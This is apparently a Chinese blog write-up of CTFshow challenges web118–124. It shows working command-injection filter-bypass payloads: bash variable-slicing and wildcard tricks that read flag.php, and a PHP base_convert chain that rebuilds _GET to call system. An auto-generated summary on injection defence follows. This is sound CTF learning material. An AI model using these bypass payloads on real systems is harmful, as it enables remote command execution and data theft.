CTFshow命令执行

web 118

查看源代码,发现:<!-- system($code);-->

通过测试,没用过滤空格,我们查看提示

这个图是一个系统的环境变量的路径

${PATH:~A}${PWD:~A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。

payload:${PATH:~A}${PWD:~A}$IFS????.???
相当于是:nl flag.php

web 119

这里借鉴了Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全_ctfshow web入门题解-CSDN博客

web 120

这里和119相同,但限制了字符长度,所以119的依旧可以用

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

看到其他人的rp

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

说是在/bin/rev里面的rev输出方式是逆序输出,得到的结果在逆序输出就好

web 121

/bin/base64 flag.php → /???/?????4 ????.??? →

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

${RANDOM} 在Bash中会展开为一个0到32767之间的随机整数。${#RANDOM} 给出的是 $RANDOM 的字符串长度。这里我们的目的是要随机到一个四位数

web122

$?为上次命令的执行结果,1为不正常

这题把PWD、#过滤了。我们可以用HOME代替PWD;

<A;

${HOME::$?}?????${RANDOM::$?}????.???

这里的<A的作用是让上一次的执行结果错误,返回1,使得$?的值为1

web124

首先我们要理解正则/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/

这个的意思就是绕过数字和特殊字符,一旦存在一个字符,就自动匹配后续的内容当做函数名在白名单中检测。

所以我们现在的问题就是如何把system(cat flag.php) 参数为数字,又能将参数转化为字符串的函数,首先考虑hex2bin,但这个函数不在白名单中,我们需要现将这个函数转换为数字。

先echo base_convert('hex2bin',36,10);得到hex2bin的10进制数字base_convert(37907361743,10,36)就等于hex2bin

然后,我们需要得到'_GET',我们先将'_GET'转换为16进制,再换为10进制,为什么这样做,因为16进制里面有x,这样会匹配到正则的第一项。

执行echo hexdec(bin2hex('_GET'));

得到1598506324

所以base_convert(37907361743,10,36)(dechex(1598506324))就等于_GET了

再提交参数1=system&2=cat flag.php。这里也可以不用数字作为参数,提交白名单里的参数就好

所以payload为

?c=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php

在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值